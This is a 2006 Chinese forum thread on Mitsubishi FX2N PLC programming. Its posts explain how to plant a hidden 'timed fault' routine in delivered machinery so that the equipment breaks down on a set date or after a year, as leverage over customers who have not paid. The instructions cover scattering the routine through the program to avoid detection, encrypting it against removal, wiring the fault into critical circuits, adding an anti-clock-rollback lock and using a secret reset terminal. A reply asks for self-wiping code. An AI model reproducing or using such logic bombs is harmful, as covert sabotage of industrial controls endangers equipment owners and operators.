[AB] 定时触发故障PLC程序

[复制链接]
查看3597 | 回复3 | 2006-9-12 18:30:00 | 显示全部楼层 |阅读模式

一、定时触发故障PLC程序(PLC为实时时钟)
   该程序是用三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。
   该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,指定时间以后将会准时出现故障。请谨慎使用!
   该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。
   为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。
   M490为故障触点,应当串联或并联在程序多个关键动作回路中。
   X20为定时触发故障复位端子,要求该端子为没有被使用的端子(否则请更换为另一个没有被使用的端子)。需要解除还没有被触发的故障或已经触发的故障时,将该触点和PLC的输入COM端短接即可。如果系统当前时间还没到故障触发时间,一旦该端子与COM端子断开,故障将在预定时间触发!如果系统当前时间已经过了指定的故障触发时间,一旦该端子与COM端子断开,故障将立即触发!如果需要重新指定故障触发时间,就必须得更改指定的故障触发时间——需要对PLC进行编程!
   该程序指定的故障触发时间为2007年1月1日0时0分0秒,可以进行更改。
   该程序中所用到的通用继电器M481-M499、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。
   对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——各存储器请按照相应存储区域进行更改。
   该程序并没有修改PLC的系统时钟,因此程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟反映的是正确的当前日期和时间。
   在程序动作之前,应当检查PLC的系统时钟是否正确反映当前日期和时间(因为PLC的默认系统时钟可能不正确,笔者就遇到过系统时钟快一个小时多一点的情况)。检查方法如下:
   启动三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版到一个新的窗口,将电脑与PLC正确连接(具体连接方法请参阅相关说明<比如采用SC09连接电缆或等同功能电缆,加接USB转RS232电缆(需要加安装驱动)等等>),然后点击“在线”——“PLC读取”——“确认”(对于部分笔记本电脑(比如顶星品牌龙尊系列某型号的笔记本电脑),默认串口为COM2,这种情况下需要将COM口选为COM2,具体操作方法不再赘述),然后选中“软元件内存”再点击“确定”......待软元件内存传送到电脑以后,马上检查M8018(年)、M8017(月)、M8016(日)、M8015(时)、M8014(分)、M8013(秒)是否大概是当前正确时间(请注意,软元件内存只是下载时的PLC内存,并不能实时反映PLC的当前软元件内存数据。所以,软元件内存数据中反映的系统时钟比PLC当前系统时钟要慢)。或者,采用另外一种更简单的方法:直接PLC在线连接的下拉菜单中选择PLC时间设置选项,然后就可以看见非实时显示的时钟了——这个时间是读取瞬间的时钟,不实时跟随。
   如果PLC的系统时钟不能正确反映当前日期和时间,那就需要对软元件内存进行修改。修改方法为:1、直接PLC在线连接的下拉菜单中选择PLC时间设置选项,然后更改时间就可以了。但该方法一次性只能更改一回时间,一旦更改后时间就实时跟随了,无法再进行更改。如果需要再次更改,需要将该窗口关闭后重新打开,然后再进行时间的更改。 2、通过程序的相关指令(例如MOV指令写时间对应的特殊存储区D8013~D8018或通过TWR指令来写时间,具体指令此处就不再赘述了)。
  通过读出软元件内存后修改软元件内存再写回去的方法是行不通的——经过多次试验,证明了PLC在写入软元件内存时根本不会重写特殊存储区的内容,也就是说特殊存储区没被列入“软元件内存”的范围之内!
   以下为梯形图:[upload=jpg]UploadFile/2006-9/200691218292623352.jpg[/upload]


[upload=jpg]UploadFile/2006-9/20069121830020216.jpg[/upload]


[upload=jpg]UploadFile/2006-9/200691218305574179.jpg[/upload]

二、定时触发故障PLC程序(PLC非实时时钟)
   该程序是用三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。
   该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,一年以后(时间长短可以修改)将会准时出现故障。请谨慎使用!
   该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。
   为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。
   X0是定时触发故障触发端子,X0只要在PLC处于运行状态下至少动作过一次就可以了。
   M490为故障触点,应当串联或并联在程序多个关键动作回路中。
   X1为定时触发故障复位端子,要求在通常情况下,连续动作时间不能超过30秒(时间可以修改),否则请改为另外一个输入触点。需要解除故障触发功能时,让X1保持通电30秒(时间可以修改)即可。也可以将X1改为最后一个未用的输入触点,需要永远解除故障触发功能时,将该触点和PLC的输入COM端短接即可。如果只是让定时触发故障复位端子接通超过30秒(时间可以修改)然后断开,那么一年以后(时间长短可以修改)仍然会准时出现故障。如果希望永远解除定时故障触发功能,请将定时触发故障复位端子和PLC的输入COM端短接即可。
   该程序中所用到的通用继电器M480-M499、保持继电器M1023、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。
   对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——原保持继电器M1023更换后仍然具有断电保持功能,其它存储器请按照相应存储区域进行更改。
   该程序动作后,PLC的系统时钟并非是实时时钟,因此程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟并不能正确反映当前日期和时间。
   以下为梯形图:

[upload=jpg]UploadFile/2006-9/200691218314583918.jpg[/upload]
[upload=jpg]UploadFile/2006-9/200691218331610944.jpg[/upload]
[upload=jpg]UploadFile/2006-9/200691218332397246.jpg[/upload]
[upload=jpg]UploadFile/2006-9/200691218341952382.jpg[/upload]
[upload=jpg]UploadFile/2006-9/200691218342698483.jpg[/upload]
[此贴子已经被作者于2006-9-12 18:37:31编辑过]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册哦

x
gkboy | 2006-9-12 18:38:00 | 显示全部楼层
把年月日换算成时间小时分秒用记时器来控制关断也可以。
但是有2个问题:
1、计时器属于断电部保持的类型,一旦PLC断电,计时器将复位,你的程序也就失去意义了——对于这一点,可以采用断电保持计数器(有些计数器是断电不保持的)来计时间脉冲信号(可以是PLC内置的特殊继电器,例如小时脉冲、分钟脉冲、秒脉冲等等,也可以自己搞一个时间脉冲<定时器的线圈串了它自己的常闭触点>)的方式实现故障触发。
2、这种方式受PLC运行时间的影响,PLC平均每天运行时间长,故障就早触发;PLC平均每天运行时间短,故障就晚触发。所以,连写程序的你自己都不知道故障什么时候触发!!!那你怎么相应采取对策呢?
gkboy | 2006-9-12 18:39:00 | 显示全部楼层
说明一下,对于该贴,当初写的时候因为测试不是很完全,所以有错误存在,以下段在该贴中已经删除:
“修改方法为:单击M8018(年)、M8017(月)、M8016(日)、M8015(时)、M8014(分)、M8013(秒)进行修改(时间要比正确时间稍微靠后一些,因为将软元件内存写入PLC还需要时间),然后将软元件内存写入PLC即可。请特别注意:修改软元件内存只需单击,不要双击,因为单击后输入的是十进制/十六进制数据,双击后输入的是字符串(修改后可能该存储器和相邻存储器单元的数据都已经变为其它值了)。还有,其它软元件内存最好不要修改,否则传入PLC以后PLC可能无法正常工作。如果软元件内存已经修改错误而又无法或不能确定为正确值时,请不要将软元件内存写入PLC,否则你可能要后悔了......”

改为:“修改方法为:1、直接PLC在线连接的下拉菜单中选择PLC时间设置选项,然后更改时间就可以了。但该方法一次性只能更改一回时间,一旦更改后时间就实时跟随了,无法再进行更改。如果需要再次更改,需要将该窗口关闭后重新打开,然后再进行时间的更改。 2、通过程序的相关指令(例如MOV指令写时间对应的特殊存储区D8013~D8018或通过TWR指令来写时间,具体指令此处就不再赘述了)。
通过读出软元件内存后修改软元件内存再写回去的方法是行不通的——经过多次试验,证明了PLC在写入软元件内存时根本不会重写特殊存储区的内容,也就是说特殊存储区没被列入“软元件内存”的范围之内!”

因为考虑到别人可能将PLC时钟往前面改,因此增加了另一把锁——如果PLC实时时钟超前某一个值,则PLC锁定:
[upload=gif]UploadFile/2006-9/200691218414050125.gif[/upload]
[upload=gif]UploadFile/2006-9/200691218414660630.gif[/upload]
[upload=gif]UploadFile/2006-9/200691218421096957.gif[/upload]
[此贴子已经被作者于2006-9-12 18:42:14编辑过]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册哦

x
zl6079 | 2006-12-6 05:57:00 | 显示全部楼层
这玩意胡乱就可解开了,网上解密软件太多,有没办法到时自动清空程序?[em01]
您需要登录后才可以回帖 登录 | 注册哦

本版积分规则